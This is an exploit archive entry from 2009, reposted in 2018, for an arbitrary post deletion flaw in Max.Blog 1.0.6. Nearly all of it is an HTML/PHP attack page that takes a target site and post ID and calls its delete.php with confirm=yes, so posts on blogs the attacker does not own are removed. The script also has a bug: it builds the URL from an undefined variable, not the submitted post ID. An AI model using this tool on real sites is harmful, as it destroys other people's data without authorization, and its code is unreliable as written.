Max.Blog 1.0.6 Arbitrary Delete Post Exploit

2009-01-20T00:00:00
ID 1337DAY-ID-4712
Type zdt
Reporter SirGod
Modified 2009-01-20T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ============================================
Max.Blog 1.0.6 Arbitrary Delete Post Exploit
============================================



<html>
<head>
<title>Max.Blog 1.0.6 Delete Post Exploit</title>
</head>

<body>
<p align="center">
<b>Max.Blog 1.0.6 Delete Post Exploit</b><br /><br />
<b>Discovered by <b>SirGod</b><br />
Thanks to <b>Nytro</b><br />
Please visit : <br />
------------------------<br />
www.inj3ct0r.com<br />
------------------------<br />
www.inj3ct0r.org<br />
------------------------<br />
www.inj3ct0r.net<br />
------------------------<br />
</b>
</p>

<?php
if(isset($_POST['submit']))
{
    $site=$_POST['site'];
	$id=$_POST['post_id'];
	$pagina=file_get_contents("http://".$site."/delete.php?post=".$post_id."&confirm=yes");
	print "<p align=\"center\">Done!</p><br />";
}

?>

<form method="POST">
<p align="center">
Site: www. <input type="text" name="site" value="site.com/path" /><br
/> (without http,www and trailing slash)<br />
Post ID: <input type="text" name="post_id" value="1" /><br /><br />
<input type="submit" name="submit" value="Delete" />
</p>
</form>
</body>
</html>




#  0day.today [2018-04-02]  #